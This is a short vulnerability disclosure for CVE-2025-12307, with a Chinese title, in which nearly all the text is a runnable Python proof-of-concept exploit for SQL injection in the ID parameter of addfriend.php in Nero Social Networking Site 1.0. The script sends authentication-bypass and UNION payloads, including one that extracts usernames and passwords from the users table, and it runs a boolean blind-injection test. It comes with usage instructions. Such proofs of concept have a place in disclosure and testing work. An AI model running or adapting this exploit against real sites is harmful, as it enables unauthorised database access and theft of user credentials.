CVE-2025-12307: Nero Social Networking Site 1.0 addfriend.php SQL注入漏洞

import requests import sys # CVE-2025-12307 SQL Injection PoC # Target: Nero Social Networking Site 1.0 # File: /addfriend.php # Parameter: ID def exploit_sqli(target_url, param_id): """ SQL Injection exploitation function Test various SQL injection payloads """ # Basic authentication bypass with OR condition payload1 = "1' OR '1'='1" # Union-based injection to extract database version payload2 = "1' UNION SELECT NULL,version(),user(),database()-- -" # Extract users table information payload3 = "1' UNION SELECT NULL,username,password FROM users-- -" payloads = [payload1, payload2, payload3] for i, payload in enumerate(payloads, 1): print(f"[*] Testing payload {i}: {payload}") params = {'ID': payload} target = f"{target_url}/addfriend.php" try: response = requests.get(target, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] SQL Error detected - injection successful") else: print("[*] Response received - verify manually") except requests.RequestException as e: print(f"[-] Request failed: {e}") def blind_sqli_test(target_url): """ Blind SQL Injection test using boolean conditions """ # True condition true_payload = "1' AND 1=1-- -" # False condition false_payload = "1' AND 1=2-- -" print("[*] Testing blind SQL injection...") try: true_resp = requests.get(f"{target_url}/addfriend.php", params={'ID': true_payload}, timeout=10) false_resp = requests.get(f"{target_url}/addfriend.php", params={'ID': false_payload}, timeout=10) if len(true_resp.text) != len(false_resp.text): print("[!] Blind SQL injection confirmed - different responses") print(f"[+] True response length: {len(true_resp.text)}") print(f"[+] False response length: {len(false_resp.text)}") else: print("[*] Responses are similar - may need parameter adjustment") except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12307.py <target_url>") print("Example: python cve-2025-12307.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-12307\n") exploit_sqli(target, 'ID') print("\n[*] Running blind SQL injection tests...") blind_sqli_test(target)